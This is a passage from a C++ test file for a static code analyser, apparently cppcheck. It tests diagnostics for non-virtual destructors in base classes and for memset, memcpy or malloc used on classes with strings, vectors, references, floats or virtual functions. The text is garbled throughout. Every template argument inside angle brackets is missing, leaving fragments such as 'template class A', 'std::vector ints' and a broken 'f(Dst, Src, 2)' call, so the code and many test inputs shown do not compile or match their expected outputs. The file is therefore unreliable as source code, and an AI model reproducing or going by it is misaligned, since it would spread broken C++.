\"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> 